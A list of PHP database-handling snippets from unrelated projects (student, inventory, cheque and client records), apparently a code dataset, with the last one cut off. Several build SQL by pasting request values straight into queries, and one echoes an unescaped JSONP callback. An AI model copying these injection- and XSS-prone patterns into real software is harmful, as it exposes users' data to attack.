"function add($data){\n\t\t\tif (is_array($data)){\n\t\t\t\t$db = new manejaDB();\t\t\t\n\t\t\t\tif($id = $db->makeQueryInsert($this->table,$data)){\n\t\t\t\t\t$result = $this->selectbyId($id);\n\t\t\t\t\t$db->desconectar();\n\t\t\t\t\treturn($result); \t\t\n\t\t\t\t}\t\t\t\t\n\t\t\t\techo $db->mensaje();\n\t\t\t}\t\t\t\n }", "function PerbaharuiDataBahanBaku() {\n\tinclude '../../koneksi/index.php';\n\n\t//inisialisasi\n\t$kode = strtoupper($_POST['kode']);\n\t$nama = strtoupper($_POST['nama']);\n\t$harga_beli = $_POST['harga_beli'];\n\t$harga_jual = $_POST['harga_jual'];\n\t$stok = $_POST['stok'];\n\t$id = $_POST['id'];\n\n\t//update\n\t$sql = \"UPDATE bahan_baku SET kode = ?, nama = ?, harga_beli = ?, harga_jual = ?, stok = ? WHERE id = ?\";\n\t$stmt = $db->prepare($sql);\n\t$stmt->bind_param('ssiiii', $kode, $nama, $harga_beli, $harga_jual, $stok, $id);\n\tif ($stmt->execute()) {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"berhasil_memperbaharui\";\n\t} else {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"gagal_memperbaharui\";\n\t}\n\t$stmt->close();\n}", "public function input_masuk($data){\n\t\treturn $this->db->insert('transaksi_barang', $data);\n\t}", "public function get_data(){\n // $id = 2;\n // $stmt = $this->verivied()->prepare(\"SELECT * FROM emptab WHERE id= :id\");\n // $stmt->bindParam(':id', $id);\n // $stmt->execute();\n // $data = $stmt->fetchAll(PDO::FETCH_ASSOC);\n // return $data;\n // select by id;\n $data1 = $this->Xgen->select('id,nama')->from('emptab')->where('id = :id', 4)->go();\n // select all;\n //$data = $this->Xgen->select('id,nama')->from('emptab')->go();\n // inser data\n // $data = $this->Xgen->insert_query('emptab',[\n // 'nama' => 'bxel'\n // ])->go();\n //update data\n //$data = $this->Xgen->update_query('emptab', ['nama' => 'new name'])->where('id = :id', 4)->go();\n //DELETE\n //$data1 = $this->Xgen->delete('emptab','id = :id',4)->go();\n\n }", "function addData($data) {\n global $conn;\n \n $NRP = htmlspecialchars($data[\"NRP\"]);\n $Nama = htmlspecialchars($data[\"Nama\"]);\n $Email = htmlspecialchars($data[\"Email\"]);\n $Jurusan = htmlspecialchars($data[\"Jurusan\"]);\n\n $query = \"INSERT INTO mahasiswa VALUES ('', '$NRP', '$Nama', '$Email', '$Jurusan')\";\n mysqli_query($conn, $query);\n}", "public function getData()\n\t{\n\t\t$CI =& get_instance();\n\t\t$CI->load->database();\n\n\t\t$aColumns = explode(\", \", $this->select);\n\t\t$searchColumns = $aColumns;\n\t\t$sTable = $this->table;\n\n\t\t//id table\n\t\t$idColumn = $aColumns[count($aColumns)-1];\n\t\t$idColumn = explode(\".\", $idColumn);\n\t\tif(count($idColumn)>1){\n\t\t\t$idColumn = $idColumn[1];\n\t\t}else{\n\t\t\t$idColumn = $idColumn[0];\n\t\t}\n\n\t\t//column ordenar al final\n\t\tfor ($i=0; $i < count($aColumns) ; $i++) {\n\t\t\t$result = explode(\" AS \", $aColumns[$i]);\n\t\t\tif(count($result)>1){\n\t\t\t\t$aColumns[$i] = trim($result[1]);\n\t\t\t}\n\t\t}\n\n\t\t//columnas para buscar\n\t\tfor ($i=0; $i < count($searchColumns) ; $i++) {\n\t\t\t$result = explode(\" AS \", $searchColumns[$i]);\n\t\t\tif(count($result)>1){\n\t\t\t\t$searchColumns[$i] = trim($result[0]);\n\t\t\t}\n\t\t}\n\n\t\t// Paging\n\t\t$limit = \"\";\n\t\tif(isset($_GET['iDisplayStart']) && $_GET['iDisplayLength'] != '-1')\n\t\t{\t\t\n\t\t\tif((int)$_GET['iDisplayStart']!=0){\n\t\t\t\t$limit .= \" LIMIT \".(int)$_GET['iDisplayLength'].\" OFFSET \".(int)$_GET['iDisplayStart'].\" \";\n\t\t\t}else{\n\t\t\t\t$limit .= \" LIMIT \".(int)$_GET['iDisplayLength'];\n\t\t\t}\n\t\t}\n \n\t\t// Ordering\n\t\t$text_order_by_datatable = \"\";\n\t\tif(isset($_GET['iSortCol_0']))\n\t\t{\n\t\t\tfor($i=0; $i<intval($_GET['iSortingCols']); $i++)\n\t\t\t{\n\t\t\t\t$coma = ($i<intval($_GET['iSortingCols'])-1)?\", \":\"\";\n\t\t\t\tif($_GET['bSortable_'.intval($_GET['iSortCol_'.$i])] == 'true')\n\t\t\t\t{\n\t\t\t\t\t$text_order_by_datatable.=\" \".$searchColumns[(int)$_GET['iSortCol_'.$i]].\" \".strtoupper($_GET['sSortDir_'.$i]).$coma;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$text_order_by = \"\";\n\t\tif( !empty($text_order_by_datatable) && !empty($this->order_by) )\n\t\t{\n\t\t\t$text_order_by_datatable .= \", \";\n\t\t}\n\n\t\t$text_order_by_datatable = ($this->order_by!=\"\")?$text_order_by_datatable.$this->order_by:$text_order_by_datatable;\n\t\t$text_order_by .= (!empty($text_order_by_datatable)) ? \" ORDER BY \".$text_order_by_datatable : \" \";\n\t\t/* Multi column filtering */\n\t\t$where = \"\";\n\t\t$text_where_datatable = \"\";\n\t\tfor ( $i = 0 ; $i < count($searchColumns) ; $i++ )\n\t\t{\n\t\t\tif ( ( isset($_GET['bSearchable_'.$i]) && $_GET['bSearchable_'.$i] == \"true\" ) && $_GET['sSearch'] != '' )\n\t\t\t{\n\t\t\t\tif($i==0){ $type=\"\"; }else{ $type=\" OR \"; }\n\t\t\t\t$text_where_datatable .= $type.$searchColumns[$i].\" LIKE '%\".$_GET['sSearch'].\"%' \";\n\t\t\t}\n\t\t}\n\t\tif($text_where_datatable!=\"\"){\n\t\t\t$text_where_datatable =\" (\".$text_where_datatable.\") \";\n\t\t}\n\n\t\t//where\n\t\tfor ($i=0; $i < count($this->where); $i++) {\n\t\t\tif($i==0 && $text_where_datatable!=\"\"){ $type=\" AND \"; }elseif($i==0 && $where==\"\"){ $type=\"\"; }else{ $type=\" AND \"; }\n\t\t\t$operador = \" \";\n\t\t\tif( !empty($this->where[$i][1]) )\n\t\t\t{\n\t\t\t\tif(!strpos($this->where[$i][0], \"=\")){\n\t\t\t\t\t$operador = \" = \";\n\t\t\t\t}\n\t\t\t\tif(!is_numeric($this->where[$i][1]) && strlen($this->where[$i][1])==1){\n\t\t\t\t\t$this->where[$i][1] = \"'\".$this->where[$i][1].\"'\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t$text_where_datatable.=$type.$this->where[$i][0].$operador.$this->where[$i][1].\" \";\n\t\t}\n\t\t$where = ($text_where_datatable!=\"\")?\" WHERE \".$text_where_datatable : \"\";\n\t\t\n $like = '';\n $text_like_datatable = '';\n for ($i=0; $i < count($this->like); $i++) {\n\t\t\tif($i==0 && $text_like_datatable!=\"\"){ $type=\" AND \"; }elseif($i==0 && $like==\"\"){ $type=\"\"; }else{ $type=\" AND \"; }\n\t\t\t$operador = \" \";\n\t\t\tif(!strpos($this->like[$i][0], \"=\")){\n\t\t\t\t$operador = \" like \";\n\t\t\t}\n\t\t\tif(!is_numeric($this->like[$i][1]) && strlen($this->like[$i][1])==1){\n\t\t\t\t$this->like[$i][1] = \"'\".$this->like[$i][1].\"'\";\n\t\t\t}\n\t\t\t$text_like_datatable.=$type.$this->like[$i][0].$operador.$this->like[$i][1].\" \";\n\t\t}\n if($where!='')\n {\n $like = ($text_like_datatable!=\"\")?\" AND \".$text_like_datatable : \"\";\n }else{\n $like = ($text_like_datatable!=\"\")?\" WHERE \".$text_like_datatable : \"\";\n }\n\n //group by\n $text_group_by = ( !empty($this->group_by) ) ? \" GROUP BY \".$this->group_by.\" \" : $this->group_by;\n \n \n\t\t//join\n\t\t$join = \"\";\n\t\tfor ($i=0; $i < count($this->join); $i++) {\n\t\t\tif(!isset($this->join[$i][2])){ $type_join=\"INNER\"; }else{ $type_join=$this->join[$i][2]; }\n\t\t\t$join.=\" \".$type_join.\" JOIN \".$this->join[$i][0].\" ON \".$this->join[$i][1].\" \";\n\t\t}\n\n\n\n\t\t$sql = \"SELECT \".$this->select.\" FROM \".$sTable.$join.$where.$like.$text_group_by.$text_order_by.$limit;\n\t\t//echo $sql;die;\n\t\t$rResult = $CI->db->query($sql);\n\n\t\t// Total data set length\n\t\t$iTotal = count($rResult->result());\n\n\t\t// Data set length after filtering\n\t\t$new_query = $CI->db->query(\"SELECT COUNT(*) AS found_rows FROM \".$sTable.$join.$where.$limit);\n\t\tif(count($new_query->row())>0){\n\t\t\t$iFilteredTotal = $new_query->row()->found_rows;\n\t\t}else{\n\t\t\t$iFilteredTotal = $iTotal;\n\t\t}\n\n\t\t// Output\n\t\t$output = array(\n\t\t\t'sEcho' => intval($_GET['sEcho']),\n\t\t\t'iTotalRecords' => $iTotal,\n\t\t\t'iTotalDisplayRecords' => $iFilteredTotal,\n\t\t\t'url' => urldecode($_SERVER['REQUEST_URI']),\n\t\t\t'aaData' => array()\n\t\t);\n\t\tforeach($rResult->result_array() as $aRow)\n\t\t{\n\t\t\t$row = array();\n\t\t\tfor($i=0; $i<count($aColumns); $i++)\n\t\t\t{\n\t\t\t\t$key = explode(\".\", $aColumns[$i]);\n\t\t\t\t$key = (count($key)>1) ? trim($key[1]) : trim($key[0]);\n\t\t\t\t$row[] = $aRow[$key];\n\t\t\t\tif (trim($key) == trim($idColumn)) { $row['DT_RowId'] = $aRow[$key]; } // Sets DT_RowId\n\t\t\t}\n\t\t\t$output['aaData'][] = $row;\n\t\t}\n\n\t\t//url export\n\t\t$url= urldecode($_SERVER['REQUEST_URI']);\n\t\t$output['links'] = \"$url\";\n\t\treturn $_GET['callback'].'('.json_encode( $output ).');';\n\t}", "public function insertPelatihData($data){\n\t\t\t$id_propinsi = $data['id_propinsi'];\n\t\t\t$id_cabor = $data['id_cabor'];\n\t\t\t$pelatih = $data['pelatih'];\n $id_jk = $data['id_jk']; \n\t\t\t$alamat = $data['alamat']; \n\t\t\t\n $query = \"Insert into tbl_pelatih\n set id_propinsi='$id_propinsi',\n id_cabor='$id_cabor',\n pelatih='$pelatih',\n alamat='$alamat',\n id_jk='$id_jk'\";\n \n $result = $this->query($query);\n\n return $result;\n }", "public function input($data) \n \t\t{\n \t \t\t#insert data\n \t\t$this->db->insert('table_post', $data);\n \t\t}", "function add($data){\n\t\t\t\n\t\t\tif (is_array($data)){\t\t\t\t\n\t\t\t\t$db = new manejaDB();\t\t\t\n\t\t\t\t$id = $db->makeQueryInsert($this->table,$data);\n\t\t\t\t$result = $this->selectbyId($id);\n\t\t\t\t$db->desconectar();\n\t\t\t\treturn($result); \t\t\t\n\t\t\t}\t\t\t\n }", "function tambah_data ($data){\n\t\treturn $this->db->insert($this->nama_table,$data);\n\t}", "function handle(&$params){\r\n $this->app =& Dataface_Application::getInstance(); // reference to Dataface_Application object\r\n\t //$this->app =& Dataface_RecordGrid::getInstance(); \r\n // Custom query\r\n $result = mysqli_query($this->app->db(),\"select inventoryreq.*,workref.RefID,inventory_parts.invreq_id,inventory_parts.part_id, \r\n\t\twarehouse_inv.1111XXXXPN,warehouse_inv.DESCRIPTION,warehouse_inv.QTY,employee.EmployeeName,inventory_parts.kitted FROM inventoryreq \r\n\t\tLEFT JOIN workref ON inventoryreq.WO=workref.ID \r\n\t\tLEFT JOIN inventory_parts ON inventoryreq.ID=inventory_parts.invreq_id \r\n\t\tLEFT JOIN employee ON inventoryreq.ReqBy=employee.idEmployee \r\n\t\tLEFT JOIN warehouse_inv ON inventory_parts.part_id=warehouse_inv.ID \r\n\t\tORDER BY ID ASC\");\r\n $body = \"<br /><br />\";\r\n \r\n\r\n\t\tDataface_JavascriptTool::getInstance()\r\n\t\t ->import('editable_nav.js');\r\n\t \r\n\t\t \r\n\t\t \r\n\t /*currID = $record->val('ID');\r\n\t\t$currVal = $record->val('Quantity');\r\n\t\t$out = array();\r\n\t\t$out[] = ' <input type=\"button\" value=\"–\" class=\"qtyminus\" field=\"'.$currID.'\" style=\"font-weight: bold;\" /><input type=\"text\" class=\"status-drop-down\" \r\n\t\t data-record-id=\"'.htmlspecialchars($record->getId()).'\" name=\"'.$currID.'\" value=\"'.$currVal.'\" size=\"4\">';\r\n\r\n\t\t \r\n\t\t \r\n\t\t$out[] = '<input type=\"button\" value=\"+\" class=\"qtyplus\" field=\"'.$currID.'\" style=\"font-weight: bold;\" />';\r\n\t\treturn implode(\"\\n\", $out);\r\n\t\t\r\n\t\t\r\n*/\r\n\r\n \r\n if(!$result)\r\n {\r\n // Error handling\r\n $body .= \"MySQL Error ...\";\r\n }else\r\n {\r\n while($row = mysqli_fetch_assoc($result)) // Fetch all rows\r\n {\r\n // Maybe do something with the single rows\r\n\t\t\t\t\r\n $row['<input type=\"text\" class=\"barcodee\" name=\"'.$row['part_id'].'\">'] = '<input type=\"text\" class=\"barcodee\" name=\"'.$row['part_id'].'\">';\r\n $data[] = $row; // Add singe row to the data\r\n }\r\n mysqli_free_result($result); // Frees the result after finnished using it\r\n\r\n $grid = new Dataface_RecordGrid($data, // Create new RecordGrid with the data\r\n array('<input type=\"text\" class=\"barcodee\" name=\"barcodee\">', 'invreq_id', 'RefID', 'part_id', '1111XXXXPN', 'DESCRIPTION', 'QTY', 'EmployeeName', 'kitted'), \r\n //Order and selection of the colums\r\n null); // No other labels defined -> it uses keys of the associative array\r\n \r\n $body .= $grid->toHTML(); // Get the HTML of the RecordGrid\r\n }\r\n\r\n // Shows the content (RecordGrid or error message) in the Main Template\r\n df_display(array('body' => $body), 'Dataface_Main_Template.html');\r\n }", "function TambahDataBahanBaku() {\n\tinclude '../../koneksi/index.php';\n\n\t//inisialisasi\n\t$kode = strtoupper($_POST['kode']);\n\t$nama = strtoupper($_POST['nama']);\n\t$harga_beli = $_POST['harga_beli'];\n\t$harga_jual = $_POST['harga_jual'];\n\t$stok = $_POST['stok'];\n\n\t//insert\n\t$sql = \"INSERT INTO bahan_baku (kode, nama, harga_beli, harga_jual, stok) VALUES(?, ?, ?, ?, ?)\";\n\t$stmt = $db->prepare($sql);\n\t$stmt->bind_param('ssiii', $kode, $nama, $harga_beli, $harga_jual, $stok);\n\tif ($stmt->execute()) {\n\t\t$stmt->insert_id;\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"berhasil_menyimpan\";\n\t} else {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"gagal_menyimpan\";\n\t}\n\t$stmt->close();\n}", "function tambah($data){\r\n\t\tglobal $conn;\r\n\r\n\t\t$nim = htmlspecialchars($data[\"nim\"]);\r\n\t\t$namalengkap = htmlspecialchars($data[\"namalengkap\"]);\r\n\t\t$kotaasal = htmlspecialchars($data[\"kotaasal\"]);\r\n\t\t$tanggallahir = htmlspecialchars($data[\"tanggallahir\"]); \r\n\t\t$namaorangtua = htmlspecialchars($data[\"namaorangtua\"]);\r\n\t\t$alamatorangtua = htmlspecialchars($data[\"alamatorangtua\"]);\r\n\t\t$kodepos = htmlspecialchars($data[\"kodepos\"]);\r\n\t\t$nomortelepon = htmlspecialchars($data[\"nomortelepon\"]);\r\n\t\t$status = htmlspecialchars($data[\"status\"]);\r\n\r\n\t\t//query insert data\r\n\t\t$query = \"INSERT INTO datamahasiswa\r\n\t\t\t\t\t\tVALUES \r\n\t\t\t\t\t('', '$nim', '$namalengkap', '$kotaasal', '$tanggallahir', '$namaorangtua', '$alamatorangtua', '$kodepos', '$nomortelepon', '$status')\r\n\t\t\t\t\t\";\r\n\t\tmysqli_query($conn, $query);\r\n\r\n\t\treturn mysqli_affected_rows($conn);\r\n\r\n\t\t}", "function LoadData()\n{\n $data=array();\n $dosen=Yii::app()->request->getParam('id_dosen',0);\n $pj=Yii::app()->request->getParam('pengajuan',0);\n $sql=\"select unsur_pel_pendidikan.ID_UNSUR_PELPEND,subun_pelpend.SUBPELPEND,tbl_dosen.NAMA_DOSEN,\n tbl_dosen.NIP_DOSEN, tbl_jabatan.NAMA_JABATAN, tbl_golongan.GOLONGAN, tbl_golongan.PANGKAT, \n tbl_jurusan.NAMA_JURUSAN, tbl_jurusan.NAMA_PIMPINAN, tbl_jurusan.NIP_PIMPINAN, tbl_jurusan.PANGKAT AS PJ, tbl_jurusan.GOLONGAN AS GJ,\n tbl_fakultas.NAMA_FAKULTAS, unsur_pel_pendidikan.KEGIATAN_PELPEND, unsur_pel_pendidikan.TEMPAT_PELPEND, \n unsur_pel_pendidikan.SEMESTER, unsur_pel_pendidikan.NILAI_PELPEND, unsur_pel_pendidikan.BUKTI_PELPEND, \n unsur_pel_pendidikan.PENGAJUAN_KE from unsur_pel_pendidikan inner join subun_pelpend on \n unsur_pel_pendidikan.ID_SUBPELPEND=subun_pelpend.ID_SUBPELPEND join tbl_dosen on\n unsur_pel_pendidikan.ID_DOSEN=tbl_dosen.ID_DOSEN join tbl_jabatan on tbl_dosen.ID_JABATAN=tbl_jabatan.ID_JABATAN \n join tbl_golongan on tbl_dosen.ID_GOLONGAN=tbl_golongan.ID_GOLONGAN join tbl_jurusan on \n tbl_dosen.ID_JURUSAN=tbl_jurusan.ID_JURUSAN join tbl_fakultas on tbl_jurusan.ID_FAKULTAS=tbl_fakultas.ID_FAKULTAS \n where unsur_pel_pendidikan.ID_DOSEN='$dosen' and unsur_pel_pendidikan.PENGAJUAN_KE='$pj' \";\n $hasil = Yii::app()->db->createCommand($sql)->queryAll();\n $i = 0;\n while ($fetchdata = $hasil)\n {\n\t$i++; // membuat counter 1, 2, 3, ... untuk ditampilkan\n // array_unshift($fetchdata,$i);\n\t//$data[] = $fetchdata;\t\n }\n return $data;\n}", "function savedata($connid)\r\n {\r\n\t\t\t\t$userID = \"\";\r\n $partyid = \"\";\r\n $this->entered_by = $_SESSION[\"username\"];\r\n $arrChequeKeys = array_keys($this->number);\r\n foreach ($arrChequeKeys as $partyid)\r\n {\r\n if($this->validation($connid,$this->number[$partyid]) && $this->validationFFS($connid,$this->purposeid[$partyid],$this->partyname[$partyid]))\r\n {\r\n\t \t if($this->number[$partyid] != \"\")\r\n\t {\r\n\t $userID = \"\";\r\n\t $partyID = \"\";\r\n\t\t\t\t\t\t\t\t\t$chequeid = 0;\r\n\t\t\t\t\t\t\t\t\t$arrUserDetails = explode(\"~\",$this->partyname[$partyid]);\r\n\t \t\t$queryUser = \"SELECT count(*) FROM emp_master WHERE userID = '\".$arrUserDetails[1].\"' \";\r\n\t $dbqueryUser = new dbquery($queryUser,$connid);\r\n\t $rowUser = $dbqueryUser->getrowarray();\r\n\t \r\n\t $query_old = \"SELECT count(*) FROM old_emp_master WHERE userID = '\".$arrUserDetails[1].\"' \";\r\n\t $dbquery_old = new dbquery($query_old,$connid);\r\n\t $row_old = $dbquery_old->getrowarray();\r\n\t \r\n\t $query_contract = \"SELECT count(*) FROM contract_master WHERE userID = '\".$arrUserDetails[1].\"' \";\r\n\t\t\t\t\t\t\t\t\t$dbquery_contract = new dbquery($query_contract,$connid);\r\n\t\t\t\t\t\t\t\t\t$row_contract = $dbquery_contract->getrowarray();\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$query_old_contract = \"SELECT count(*) FROM old_contract_master WHERE userID = '\".$arrUserDetails[1].\"' \";\r\n\t\t\t\t\t\t\t\t\t$dbquery_old_contract = new dbquery($query_old_contract,$connid);\r\n\t\t\t\t\t\t\t\t\t$row_old_contract = $dbquery_old_contract->getrowarray();\r\n\t\t\t\t\t\t\t\t\t\r\n\t $queryGuest = \"SELECT count(*) FROM guest_login WHERE name = '\".$arrUserDetails[1].\"' \";\r\n $dbqueryGuest = new dbquery($queryGuest,$connid);\r\n $rowGuest = $dbqueryGuest->getrowarray();\r\n\r\n if($rowUser[0] > 0 || $rowGuest[0] > 0 || $row_contract[0] > 0 || $row_old[0] >0 || $row_old_contract[0] > 0)\r\n\t\t\t\t\t\t\t\t\t{\t\r\n\t\t\t\t\t\t\t\t\t\t$userID = $arrUserDetails[1];\r\n\t\t\t\t\t\t\t\t\t}\r\n\t else\r\n\t {\r\n $queryParty = \"SELECT partyid FROM bill_partyMaster WHERE partyname = '\".$this->partyname[$partyid].\"' \";\r\n $dbqueryParty = new dbquery($queryParty,$connid);\r\n $rowParty = $dbqueryParty->getrowarray();\r\n if($rowParty[\"partyid\"] != \"\")\r\n $partyID = $rowParty[\"partyid\"];\r\n\t }\r\n\t $date = explode('-',$this->date[$partyid]);\r\n\t $date_mod = $date[2].'-'.$date[1].'-'.$date[0];\r\n\t if($userID != \"\")\r\n\t {\r\n\t $query =\"INSERT INTO cheques_master (number,date,type,purpose_id,userid,amount,eiaccount_number,month,year,entered_dt,entered_by,payto,schoolcode,comments,otherCheque) \".\r\n\t \"VALUES ('\".$this->number[$partyid].\"','\".$date_mod.\"','\".$this->type[$partyid].\"','\".\r\n\t $this->purposeid[$partyid].\"','\".$userID.\"','\".$this->amount[$partyid].\"','\".$this->eiaccount_number[$partyid].\"',MONTH(CURDATE()),YEAR(CURDATE()),NOW(),'\".$this->entered_by.\"','\".$this->payto[$partyid].\"','\".$this->school_code[$partyid].\"','\".$this->comments[$partyid].\"','Y') \";\r\n\t }\r\n\t else if($partyID != \"\" || $this->payto[$partyid] != \"\")\r\n\t {\r\n\t $query =\"INSERT INTO cheques_master (number,date,type,purpose_id,partyid,amount,eiaccount_number,month,year,entered_dt,entered_by,payto,schoolcode,comments,otherCheque) \".\r\n\t \"VALUES ('\".$this->number[$partyid].\"','\".$date_mod.\"','\".$this->type[$partyid].\"','\".\r\n\t $this->purposeid[$partyid].\"','\".$partyID.\"','\".$this->amount[$partyid].\"','\".$this->eiaccount_number[$partyid].\"',MONTH(CURDATE()),YEAR(CURDATE()),NOW(),'\".$this->entered_by.\"','\".$this->payto[$partyid].\"','\".$this->school_code[$partyid].\"','\".$this->comments[$partyid].\"','Y') \";\r\n\t }\r\n\t //echo $query;\r\n\t\t\t\t\t\t\t\t\t\r\n\t $dbquery = new dbquery($query,$connid);\r\n\t\t\t\t\t\t\t\t\t$chequeid = $dbquery->insertid;\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$querysbuid = \"SELECT srno FROM sbu_master WHERE dbname = '\".$this->sbu[$partyid].\"'\";\r\n\t\t\t\t\t\t\t\t\t$resultsbuid = mysql_query($querysbuid);\r\n\t\t\t\t\t\t\t\t\t$rowsbuid = mysql_fetch_array($resultsbuid);\r\n\t\t\t\t\t\t\t\t\t$sbu = $rowsbuid[0];\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$queryprojectid = \"SELECT projectno FROM project_sbu WHERE projectname = '\".$this->sbuproject[$partyid].\"'\";\r\n\t\t\t\t\t\t\t\t\t$resultprojectid = mysql_query($queryprojectid);\r\n\t\t\t\t\t\t\t\t\t$rowprojectid = mysql_fetch_array($resultprojectid);\r\n\t\t\t\t\t\t\t\t\t$sbuproject = $rowprojectid[0];\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$querygroupid = \"SELECT id FROM budget_heads WHERE head_dbname = '\".$this->group[$partyid].\"'\";\r\n\t\t\t\t\t\t\t\t\t$resultgroupid = mysql_query($querygroupid);\r\n\t\t\t\t\t\t\t\t\t$rowgroupid = mysql_fetch_array($resultgroupid);\r\n\t\t\t\t\t\t\t\t\t$group = $rowgroupid[0];\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$querysubgroupid = \"SELECT id FROM budget_subHeads WHERE sub_head = '\".$this->subgroup[$partyid].\"'\";\r\n\t\t\t\t\t\t\t\t\t$resultsubgroupid = mysql_query($querysubgroupid);\r\n\t\t\t\t\t\t\t\t\t$rowsubgroupid = mysql_fetch_array($resultsubgroupid);\r\n\t\t\t\t\t\t\t\t\t$subgroup = $rowsubgroupid[0];\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$this->saveOtherChequesSBUdetails($connid,$sbu,$sbuproject,$group,$subgroup,$this->amount[$partyid],$chequeid,$this->entered_by,$this->budget_amount[$partyid]);\r\n\t\t\t\t\t\t\t}\r\n }\r\n }\r\n }", "public abstract function operateDB($data);", "function AddData($conn)\r\n{\r\n\tglobal $x_cliente;\r\n\r\n\t\r\n\techo $x_cliente;\r\n\r\n\t\t$fieldList[\"`cliente_id`\"] = $GLOBALS[\"x_cliente_id\"];\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_calle_domicilio\"]) : $GLOBALS[\"x_calle_domicilio\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`calle`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_colonia_domicilio\"]) : $GLOBALS[\"x_colonia_domicilio\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`colonia`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_entidad_domicilio\"]) : $GLOBALS[\"x_entidad_domicilio\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`entidad`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = ($GLOBALS[\"x_codigo_postal_domicilio\"] != \"\") ? intval($GLOBALS[\"x_codigo_postal_domicilio\"]) : \"NULL\";\r\n\t\t$fieldList[\"`codigo_postal`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_ubicacion_domicilio\"]) : $GLOBALS[\"x_ubicacion_domicilio\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`ubicacion`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tipo_vivienda\"]) : $GLOBALS[\"x_tipo_vivienda\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`vivienda_tipo_id`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_domicilio\"]) : $GLOBALS[\"x_telefono_domicilio\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_celular\"]) : $GLOBALS[\"x_celular\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono_movil`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_otro_tel_domicilio_1\"]) : $GLOBALS[\"x_otro_tel_domicilio_1\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono_secundario`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = ($GLOBALS[\"x_delegacion_id\"] != \"\") ? intval($GLOBALS[\"x_delegacion_id\"]) : \"0\";\r\n\t $fieldList[\"`delegacion_id`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_antiguedad\"]) : $GLOBALS[\"x_antiguedad\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`antiguedad`\"] = $theValue;\r\n\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tel_arrendatario_domicilio\"]) : $GLOBALS[\"x_tel_arrendatario_domicilio\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`propietario`\"] = $theValue;\t\r\n\t\t\r\n\t\t\r\n\t\t// Field vivienda_tipo_id\r\n\t\t$theValue = ($GLOBALS[\"x_compania_celular_id\"] != \"\") ? intval($GLOBALS[\"x_compania_celular_id\"]) : \"0\";\r\n\t\t$fieldList[\"`compania_celular_id`\"] = $theValue;\r\n\t\r\n\t\t$theValue = ($GLOBALS[\"x_numero_exterior\"] != \"\") ? intval($GLOBALS[\"x_numero_exterior\"]) : \"0\";\r\n\t\t$fieldList[\"`numero_exterior`\"] = $theValue;\r\n\t\t\r\n\t\t\t // Field telefono_secundario\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_movil_2\"]) :$GLOBALS[\"x_telefono_movil_2\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono_movil_2`\"] = $theValue;\r\n\t\t\t \r\n\t\t$theValue = ($GLOBALS[\"x_compania_celular_id_2\"] != \"\") ? intval($GLOBALS[\"x_compania_celular_id_2\"]) : \"0\";\r\n\t\t$fieldList[\"`compania_celular_id_2`\"] = $theValue;\r\n\t\t\t// Field delegacion_id\r\n\t\t$theValue = ($GLOBALS[\"x_localidad_id\"] != \"\") ? intval($GLOBALS[\"x_localidad_id\"]) : \"0\";\r\n\t\t$fieldList[\"`localidad_id`\"] = $theValue;\r\n\t\t\r\n\t\t\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT 